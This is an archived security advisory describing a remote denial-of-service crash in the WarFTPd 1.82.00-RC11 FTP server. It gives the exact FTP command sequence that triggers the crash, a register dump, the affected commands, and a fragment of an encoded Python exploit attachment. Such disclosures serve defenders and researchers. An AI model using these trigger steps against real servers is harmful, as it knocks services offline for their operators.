AOH :: HP Unsorted W :: B06-5634.HTM

WarFTPd 1.82.00-RC11 Remote Denial Of Service



WarFTPd 1.82.00-RC11 Remote Denial Of Service
WarFTPd 1.82.00-RC11 Remote Denial Of Service



--0-140712085-1162891439=:3129
Content-Type: text/plain; charset=iso-8859-1
Content-Id: 
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

WarFTPd 1.82.00-RC11 Remote Denial Of Service
---------------------------------------------

WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with 
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.

Example:
=09
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256

or 

ftp> cdup %s*256

Server will crash as follows:
=09
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540

00431540   8A08             MOV CL,BYTE PTR DS:[EAX]

Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.

The following commands found vulnerables (at least):
=09
	CWD
	CDUP
	DELE
	NLST
	LIST
	SIZE

Well, any file related operation. Attached goes a
Python exploit.

Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------

Contact
-------

Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<>>>>es


	=09
______________________________________________ 
LLama Gratis a cualquier PC del Mundo. 
Llamadas a fijos y m=F3viles desde 1 c=E9ntimo por minuto. 
http://es.voice.yahoo.com 
--0-140712085-1162891439=:3129
Content-Type: application/octet-stream; name="dos.py"
Content-Transfer-Encoding: base64
Content-Description: 1450979178-dos.py
Content-Disposition: attachment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YXJlbnRseSB3
b3Jrcy4gVHJ5aW5nIHRvIHZlcmlmeSBpdCAuLi4gIgoKICAgIHRyeToKICAg
ICAgICBmdHAuY29ubmVjdCh0YXJnZXQsIHRhcmdldFBvcnQpCiAgICAgICAg
cHJpbnQgIlshXSBObywgaXQgZG9lc24ndCB3b3JrIFsiICsgc3RyKHN5cy5l
eGNfaW5mbygpWzFdKSArICJdIDooIgogICAgZXhjZXB0OgogICAgICAgIHBy
aW50ICJbIV0gT2suIFNlcnZlciBpcyBkZWFkLCBleHBsb2l0IHN1Y2Nlc3Nm
dWxseSBleGVjdXRlZC4gIgoK

--0-140712085-1162891439=:3129--

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.